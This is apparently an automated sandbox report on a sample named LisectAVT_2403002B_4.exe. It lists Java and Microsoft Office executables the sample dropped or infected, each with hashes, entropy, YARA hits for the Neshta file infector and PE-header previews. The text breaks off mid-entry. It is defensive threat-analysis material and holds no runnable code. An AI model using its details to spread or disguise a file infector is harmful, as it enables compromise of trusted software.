SHA-256:	F8C97B577C19232F795F72E2C81D343E7E4CC1A219350419A7FBE781C1FD82B4
SHA-512:	8A390C6A4FB272AC4ADC80018E548AD656504901D580BD6FCDBF9DC6181435FD36AD46B396421F8957E38CE6D981324DA93BA5217FFCF78AD1AE7F2C8BC868E4
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	127104
Entropy (8bit):	6.0679650494656965
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJC3s8nBs5s8nBskEsz2zy77hPxIAbBsnzA3QDkrDW8Kq5ns8nBsb:sr85CaUkEsqzy7pxI8BszFJqkb
MD5:	80063F8042BCD9F08243437E883EE0B7
SHA1:	B28DFAAF22CD52264358AFCEFC9272B65DA021BB
SHA-256:	77D52E65380CDF4E98EBBF36F578A5A1406F4BF9D53C434FFDE323AD833158C5
SHA-512:	BD4FC5327D74C0D9FC1A75DC9781AE5F3C147A83E4A22FD7FDBAC370E1210C781A51018D798BC5F39C9A9804E43F56649E548C562D59BB4371ED473113B952F0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	223360
Entropy (8bit):	6.089485930964728
Encrypted:	false
SSDEEP:	3072:sr85CIySSyyXC2BZC5vHa2L8jv+UII6qS2AroAxYN35gwxcPXtxdTsVcCXFzlZBD:k9oSyMZOy406qS2AroAxnw6f9JCXN1
MD5:	8AC992B3CEE15917902FCF4E1BB88AD1
SHA1:	278D893D5B43C8210F04986205F42D7B842B49CA
SHA-256:	2A5F8A9115B28D6E242EC13E0C9B577FC55A4B23AB7605CC6F4BCB7645A7A905
SHA-512:	4ED4B2E050D864F66BEFAA8D587972B5219064D5EE989F36FDB410865D30467EF60D6A1B14D53FF6F6E408644059E473134E74BD8B4AE841D1D74F2642649381
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	203264
Entropy (8bit):	6.630784933207718
Encrypted:	false
SSDEEP:	3072:sr85Ckwl0hzyfN7T34oshWGrAUdaz2w9Lf0M/RHym:k9ZiFIf34hcUsz225/
MD5:	FD99F4BAC9DE9CEA9AEBE10339376F46
SHA1:	657C4D31907420906F6B76E7202DBC8D1ED642C7
SHA-256:	D40F5C5B2B8267AC486BF5E68ED065502630CD8D5C38C84773A3CD8341DE3479
SHA-512:	360A69F494DD27CAB49FC0FBC0A3507593D97D65D41C7D9E7489A89385D1E6ED42F9E4109A3585425F19AC6DD3A19A281CFCB4CCBCB9BBDFD4C914404487A9B5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	209912
Entropy (8bit):	6.339745236465328
Encrypted:	false
SSDEEP:	3072:sr85C6fSoD7sDZ7/E2jijQvZ2ha5ZxXHyz7weLSMqpmmtj:k96fSoD7q/fji2SUKz7VHwmmtj
MD5:	57C91EFB667D78BE5744B415C921B0D5
SHA1:	875B5401BB112BE99BD150C7F74E5193A2189885
SHA-256:	2ADC50C04426A03D30F96FD5E11F16167DCE5AE4E3202FF5F6A21649DF965401
SHA-512:	A4958FDA3A3C70A61585A7D0D6DBA9BAFACA06FCB3D242924DA41D3CB57A604B8351DA663BCBACDAF57EB833265C511B77148B9FA12B60468540EB7E0B3EE897
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	209912
Entropy (8bit):	6.339745236465328
Encrypted:	false
SSDEEP:	3072:sr85C6fSoD7sDZ7/E2jijQvZ2ha5ZxXHyz7weLSMqpmmtj:k96fSoD7q/fji2SUKz7VHwmmtj
MD5:	57C91EFB667D78BE5744B415C921B0D5
SHA1:	875B5401BB112BE99BD150C7F74E5193A2189885
SHA-256:	2ADC50C04426A03D30F96FD5E11F16167DCE5AE4E3202FF5F6A21649DF965401
SHA-512:	A4958FDA3A3C70A61585A7D0D6DBA9BAFACA06FCB3D242924DA41D3CB57A604B8351DA663BCBACDAF57EB833265C511B77148B9FA12B60468540EB7E0B3EE897
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	264144
Entropy (8bit):	5.863490790187712
Encrypted:	false
SSDEEP:	3072:sr85CQPEGT3EB2e1aWGNU6ITL85x0HRerzJ0YF6OYLy0PPDq29BA+7891:k9QPEC0QjWGNU6ITL1H0zvjkBA+7891
MD5:	1FD92ADE57DEF19C2D5BF4A14AF53373
SHA1:	88335A048A05FCE5F5F23411D07AAA53DE05FEBE
SHA-256:	7BF6EB7F7150A749DE8581C55BA2E0EB2317B17AA39E39466C22F8E537892070
SHA-512:	1035D82569254BE103EC1A2BAE83F02072A17D7C67DC2BB62F1AADEBD06E3A85FE3B352CED35EC166DB4DA7A06489AB839312CACA2806C544B0D064FD1A8BC6F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	430680
Entropy (8bit):	6.627953214122613
Encrypted:	false
SSDEEP:	6144:k9Bmmt0fSoD7ZAOhPiURg/4KAaxZTTlvIfaUcuI4hWxBP9SGO0zyqEL:Dmt0LDdOUO42ZdocuI4kxBgGONqEL
MD5:	387E91F4FB98718AE0D80D3FEEC3CBFE
SHA1:	2A4DEB9782DDE1E319ACB824F32A19F60CCB71AB
SHA-256:	2AF36D2872119856CBA456CD9BB23623CB05E8957D74EEADBCD5DED57E17F5E5
SHA-512:	1C6029F902DB9F190985B64AE4BA18CB3E770A2DED56511A32C15EBA86198E26B1C8F3BEB399249AAAA9854C72EBF2C50446182F616345004F2FAAD062FDF8BB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4473576
Entropy (8bit):	6.569965325360163
Encrypted:	false
SSDEEP:	98304:pkkCqyDEY7+o3OBvfGVY+40yajyS+9s/pLOq:pkkCqaE68eV+0y8E6L1
MD5:	809D03153D2FCC1C9E1EE574DDF7CD2E
SHA1:	CF1FC95A34AFC5A2FB39504D973BC8380A04BAC1
SHA-256:	C2A715F1396DCDAA9360FB09B89992EE8619362062DFBD6C90CFF751C5272032
SHA-512:	094FE1BC30027336DFE6A32520DB39D8D27AD1A69716E7E00D6B66D44CFB4EAADBD8D48B6D80BC0D00C60EF0E3483437C82D2185BD704137CB544B11063820DA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4316096
Entropy (8bit):	3.9258169272505024
Encrypted:	false
SSDEEP:	98304:nPNLniBaEJhRELqS/rhwov59SRZ5Vb9sybbsK+0rnsQ:PNLniBPJhRELqS/rhb59SRZ5Vb9sybb9
MD5:	D303F362090140A192699993B9B481CC
SHA1:	EA2783C188FBB317661F1FC3A0CB4492BB8EC80B
SHA-256:	DA0ACD313E47ED22E9D7EB3E3E540853B8EA43172CA0CDCAC4E0447868B2B16D
SHA-512:	12932A51ACDB0D184CA0AD6B7B1B9B72C8EF698B19B5747BD45DB6EAEB792B942089D62F5AB43106BA840E50D562092FF0056D3A2BAA97E353B2AA64C433242D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	94600
Entropy (8bit):	6.442216424962596
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJCgELjOzHKd1XI/etzCJQx0cxnIO/IOmOe:sr85CgE/OTKXI/etG8ICILJ
MD5:	3F61817FF96973951F7964C30D7B3E0C
SHA1:	206328C89E5552AAFF1C232D4285EF70BB305CED
SHA-256:	0F2597EFBF9783DB37DE336D0F7C2F2906E09173873EA105C79EAE1B56E8F95D
SHA-512:	C2394D49EF23ABCC1C96DDF60111D2272920698D962F769B3CBB7D77493438201E5B1FB7B196ECE9B709A7DC2E03B26FBCB74699CDE4B1B6AA56C869F287A47B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	101496
Entropy (8bit):	6.2502810194516245
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJC2vpz3ktxGvpzvy5ZWGalHFmMTK0KRTS8bOzc:sr85CwToATzvmN0KRm8bOzc
MD5:	FA4CEDA48FE9CEA7B37D06498BFCAD93
SHA1:	C85C170D39C0BEEA2203B0BEA30C19AABD4E960D
SHA-256:	BFD637624C2C9B5ACDC470E589795C7720710782B618830E70D4C08F2498D64F
SHA-512:	B95C63A1DDA19FFD988DA77C38E04BAF600C61C32FD231981B6577B351A5D8DACAD0A6923ECBB05692BE06BCCFC365A7AC3AEFC957E25D56C7A5B81CBEA4E208
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	455760
Entropy (8bit):	5.934487072040942
Encrypted:	false
SSDEEP:	6144:k9fwACThwS0vn9IdRsLGEJTdPA6lDfZNAGVx:KwACThwSSn2dRANtlF3j
MD5:	EE7FE56AA5473C4CAAF6542F9C89E3B5
SHA1:	F94831FB534FA38C6142CE1A73883A5F181D47CE
SHA-256:	AA77B4D2A82911CFCC76EEB2184FD513F8E8DABB39B90019E7F051172CA128E2
SHA-512:	EE7A769F162F3E4A55A8653F51D601DBEA53533EDBE6F52A96077234E6367FA835EDC9F2DF76F56715EFAEA618D4A77C64F7875725BEF5AC9F5D0E1F799DFC37
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	225704
Entropy (8bit):	6.251097918893843
Encrypted:	false
SSDEEP:	3072:sr85CHLqB8edYkIrv6TXRw9xwqazULDjkAJZo0RAjUIqXfkRC:k9rjilq8OPwRzso6AQ5yC
MD5:	D2E8B30C6DEBFCF6CF8EA10E95D2B52B
SHA1:	E907D9A5B3AC316E5DCB4143A8B9466A548CD247
SHA-256:	2EB9FDCC1BCD91C9734390A0F9543B6DEA8A934F71D14D304D0DFEBD9ABE1608
SHA-512:	811C739AEED909E5F977E3C69FBBB6DD57FD9A0C5D644129C41D298279C369F9CF8482230DCF7762AC6B38958CC78255B1B2A9261ED0C897E9CF85244F056A67
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	84928
Entropy (8bit):	6.496286535630211
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJC367wZClMML07MiapFmPRHyzMwzobtM+zf:sr85C367wZClMMQ7MiawHyzMwsL
MD5:	577ECDB909EA638F824698FC9662A65A
SHA1:	EF5B3EF16FD6E4FCE04774B001C229B091B64242
SHA-256:	917362177EC459D22BC88ABB9EA65E385B50A664A9D314AEBDE4AEE3D4ADDD69
SHA-512:	2D30E0328E250B90731269650174145A7E0993B76D43A90BAF93E05DDE59B7930199755648C90BE80BB11AD7ECE5555C1F54991E1146A62D1985958E6533A854
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83816
Entropy (8bit):	6.5486905453129385
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJC00s7wZClMML072apFmPcnGzLHyxz5pOEtmwxz5E:sr85C0t7wZClMMQ72ahnGzextQyxtE
MD5:	0A60BCB1B4624AEFC401299CF4AC158E
SHA1:	B213E9E2C230E850B70EEE7670A9961DE0DD3B92
SHA-256:	377C6042F55C5245E950DF6C58C8E541F34C68B32BB0EACB04EBDBD4D4890ADB
SHA-512:	B6F2C7F1CF562988BC0B4F45D3E36062C08A640F0CC99A3CE05DA121CB107716193FBE3B9B6012B77712FC8832D3EE19B9889018815F414C1FF0DB1EE5EFA898
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	233832
Entropy (8bit):	6.444055281477179
Encrypted:	false
SSDEEP:	3072:sr85CUW32GhNvMQ/58sl2U2Gszlz4SNBZCgMWku:k9t2GhN0lsdspzPgg1
MD5:	C541C4556C5B21907107E916D65C5212
SHA1:	E70DE78F3C4FD8A9364FD54A8283523572F07F60
SHA-256:	99669ABB3F0C6A61BD44D379FFBC5712D2AB44E63D1071E1B699E46DAF279358
SHA-512:	73761E8DBB28A0A83BA33236CC43609CB11B64716A3CC0EE1394D1C05ED9BD71791566666EBE8B159D13FE3A1B90FB473B865AADAFA69DD3E4513824F1959793
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	502632
Entropy (8bit):	6.71908645689974
Encrypted:	false
SSDEEP:	6144:k90WDxGH79J2VX5gEpvm7JA8I6BHAlSpFG/+Ls3ze30xB7zq2zs:kMxCvm7JK6JAB/6N30xpI
MD5:	266F86A29B1E6B8B760527C50DA9D660
SHA1:	2C054027DC591063B47873D42D973B38B3BDE3F2
SHA-256:	F30F2704E1BD0F7B173E9DE79D3BA9FA3CB1B494C8BF20FB4768B5D5EE6317CA
SHA-512:	1672AEA98C6142E995BD018CCC8FC7836A05E6A5062C7B615D7C5D04E3E80EC4AC37DAF999296C2F095C4FD2A8FB38766DE09BACDB574266DF0257E697522D78
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	352704
Entropy (8bit):	6.38536686774314
Encrypted:	false
SSDEEP:	6144:k9+EshacHeGXduZtZ9zHVcI3uv7FgR3FTzWQ/ZZyp1:ysHHrtuZtPvh3FuQ/jyp1
MD5:	51D8F20B8D5103A7A909B107B6A3B7E4
SHA1:	FB4B5534EB81A82E70652870FC68DCB8EF8C9A6E
